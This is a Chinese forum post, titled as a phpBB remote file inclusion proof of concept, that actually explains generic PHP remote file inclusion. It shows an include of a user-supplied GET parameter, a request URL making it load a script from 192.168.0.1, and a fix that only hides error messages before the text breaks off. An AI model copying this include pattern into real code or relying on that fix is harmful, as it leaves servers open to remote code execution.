找回密码
 注册
搜索
热搜: 回贴

phpBB 远程文件包含漏洞

2010-1-31 08:07| 发布者: admin| 查看: 49| 评论: 0|原作者: 墨元

phpBB admin_styles.php theme_info.cfg远程文件包含漏洞POC代码
由于PHP支持使用相同的函数对本地文件和远程文件进行操作。因此,一些恶意用户通过强行使网站上的PHP代码包含自己的文件来实现执行自己脚本的目的。以下代码实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。
$file_name = $_GET["filename"]; //获得当前文件名
include("$file_name "); //包含文件
//一些其他操作
?>
这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码中包含并执行myinc.php文件。
由于上面的代码没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本程序。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本程序位于192.168.0.1服务器上,文件名为hello.txt,脚本代码如下所示。
echo "hello world!";
?>
这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方法是完善程序的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码如下所示。
$file_name = $_GET["filename"]; //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{

最新评论

相关分类

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 17:28 , Processed in 0.200343 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部